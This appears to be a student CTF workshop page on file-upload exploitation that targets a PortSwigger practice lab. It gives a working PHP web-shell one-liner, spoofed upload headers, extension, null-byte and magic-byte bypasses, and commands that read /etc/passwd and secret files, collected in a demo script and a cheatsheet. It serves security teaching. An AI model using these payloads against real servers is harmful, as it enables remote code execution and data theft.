SPRING 2026 · CTF WORKSHOP SERIES · PSU

API Exploitation
& File Attacks

When an API doesn't check whether the file type a user claims matches the file they actually upload, an attacker can rename a web shell to "profile.jpg" and get remote code execution. Today we'll do exactly that.

SCROLL TO BEGIN
SECTION 01 · LEARNING OBJECTIVES

What You'll Learn

By the end of this workshop, you'll be able to identify and exploit insecure file upload endpoints to achieve remote code execution.

01
Identify
Locate insecure file upload endpoints in APIs by testing MIME type and extension validation.
02
Exploit
Upload and execute a web shell on a target server through a vulnerable upload function.
03
Bypass
Evade client-side and server-side upload filters using extension spoofing and content-type manipulation.
SECTION 02 · CORE CONCEPTS

Unrestricted File Upload

Many APIs rely on client-supplied headers or file extensions to validate uploads—neither is trustworthy.

THE GAP
Client-Controlled Validation
The server trusts the Content-Type header and file extension, both fully controlled by the attacker. The gap between what the server thinks it received and what it actually stored is the entire attack surface.
THE IMPACT
Remote Code Execution
When the server stores the file in a web-accessible directory and executes it based on extension, uploading a file named shell.php disguised as an image gives the attacker a foothold on the server.
📁 FILE UPLOAD BYPASS · WEB SHELL TO RCE
UPLOAD filename="shell.php" Content-Type: image/jpeg
STORE /uploads/shell.php ✓ Server accepts
EXECUTE GET /uploads/shell.php?cmd=id → uid=33(www-data)

The server accepts the PHP file via the image upload endpoint; a direct request executes it—the Content-Type check never happened.

SECTION 03 · HOW IT WORKS

The 5‑Step Upload Attack

From discovering the endpoint to executing commands on the server.

01
Discover the upload endpoint
FIND MULTIPART/FORM-DATA POST REQUESTS
  • Browse the app and intercept traffic in Burp Suite
  • Look for parameters like file=, attachment=, or avatar=
02
Probe validation logic
TEST WHAT THE SERVER ACTUALLY CHECKS
  • Upload a normal image; confirm success and note stored URL
  • Upload a .php file with safe Content-Type; observe rejection reason
03
Craft bypass payload
SPOOF EXTENSION AND MIME TYPE
  • Rename shell to double extension: shell.php.jpg or shell.pHp
  • Set Content-Type: image/jpeg while keeping .php in filename
04
Send crafted request
UPLOAD VIA BURP REPEATER
  • Send multipart request with spoofed headers
  • Confirm server returns 200/201 with file path
05
Trigger remote code execution
REQUEST THE STORED SHELL
  • Visit stored file URL in browser or via curl
  • Append ?cmd=id to confirm execution as web server user
SECTION 04 · DEMO WALKTHROUGH
DEMO.
PortSwigger Lab: Remote code execution via web shell upload
LAB
Web shell upload (RCE)
TOOLS
Burp Suite / Browser
STATE
Lab launched, logged in
▶ SCRIPT
# Step 1: Upload a normal image to learn the stored path
Upload any .jpg via avatar form; note response path
→ Expected: /files/avatars/photo.jpg visible

# Step 2: Create minimal PHP web shell
<?php echo system($_GET['cmd']); ?>
→ Save locally as shell.php

# Step 3: Upload shell.php as if it were an image (Burp Repeater)
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/jpeg
→ Expected: HTTP 200, file stored as /files/avatars/shell.php

# Step 4: Execute command via shell
GET /files/avatars/shell.php?cmd=cat+/home/carlos/secret
→ Expected: Carlos's secret string printed
⚠️ Fallback: Pre-recorded walkthrough available in shared drive under /demos/api-file-attacks/.
SECTION 05 · COMMON PITFALLS

Troubleshooting

SYMPTOM
Shell uploads but returns PHP source, not execution
CAUSEServer not configured to execute PHP in upload dir
FIXTry alternative extensions: .phtml, .php5, .phar
SYMPTOM
Upload returns 403 'invalid file type'
CAUSEServer validates magic bytes (file signature)
FIXPrepend valid JPEG magic bytes (\xFF\xD8\xFF) to payload
SYMPTOM
Command output is empty
CAUSEsystem() disabled; disable_functions blocks it
FIXTry passthru(), shell_exec(), or exec()
SYMPTOM
Double extension not working
CAUSEServer only checks final extension
FIXTry null-byte: shell.php%00.jpg (older PHP)
SECTION 06 · POP QUIZ

Test Your Knowledge

YOUR SCORE
0 / 5
QUESTION 01 / 05
Why is client-side file validation insufficient for security?
QUESTION 02 / 05
What is the purpose of setting Content-Type: image/jpeg when uploading a PHP shell?
QUESTION 03 / 05
Which alternative PHP extension might execute when .php is blacklisted?
QUESTION 04 / 05
What is the minimal PHP web shell payload used in the demo?
QUESTION 05 / 05
If the server checks magic bytes, how can you still upload a PHP shell?
SECTION 07 · YOUR CHALLENGE

Now Do It Yourself

⏱ 10-15 MIN◉ BEGINNER
THE TASK
Use the provided PortSwigger lab to upload a PHP web shell disguised as a profile image, then use it to read the secret file stored in Carlos's home directory.
SUCCESS CRITERION
Screenshot showing the secret string from /home/carlos/secret printed in browser/Burp, alongside the upload request confirming .php was accepted.
HINTS
01
Look at how the avatar upload form sends the file — what headers identify the file type?
02
Try changing only the filename in the Content-Disposition header and resending.
03
Your shell only needs one line: <?php echo system($_GET['cmd']); ?> and the URL parameter ?cmd= to run commands.
CHEATSHEET · FILE UPLOAD BYPASS
COMMAND / PAYLOAD WHAT IT DOES WHEN TO USE
<?php echo system($_GET['cmd']); ?> Minimal web shell; runs OS commands via URL First shell to try
filename="shell.php.jpg" Double extension bypass When server blocks .php by extension
Content-Type: image/jpeg Spoof MIME type in upload request When server checks header only
\xFF\xD8\xFF + PHP code Prepend JPEG magic bytes to payload When server checks magic bytes
?cmd=id Verify RCE as current user Confirm shell executed
?cmd=cat+/etc/passwd Read sensitive system file Privilege escalation recon
.phtml / .php5 / .phar Alternative PHP extensions When .php is blacklisted
passthru() / shell_exec() Alternative exec functions When system() is disabled
filename="shell.php%00.jpg" Null-byte bypass (older PHP) Server truncates at null byte
SECTION 08 · FURTHER READING

Go Deeper

01

PortSwigger: File Upload Vulnerabilities

Covers all bypass techniques with progressive interactive labs.

02

OWASP Unrestricted File Upload

Canonical reference for defensive controls: store outside webroot, randomize filenames, validate magic bytes.

03

HackTricks: File Upload

Comprehensive attacker's cheatsheet of extension bypasses, magic byte tricks, and race condition uploads.

PDF

API Exploitation & File Attacks Handout

Full Day 5 workshop handout and quick reference.

Questions?
Bring them to the CTF WhatsApp Group.
CyberTech Club @ PSU · Spring 2026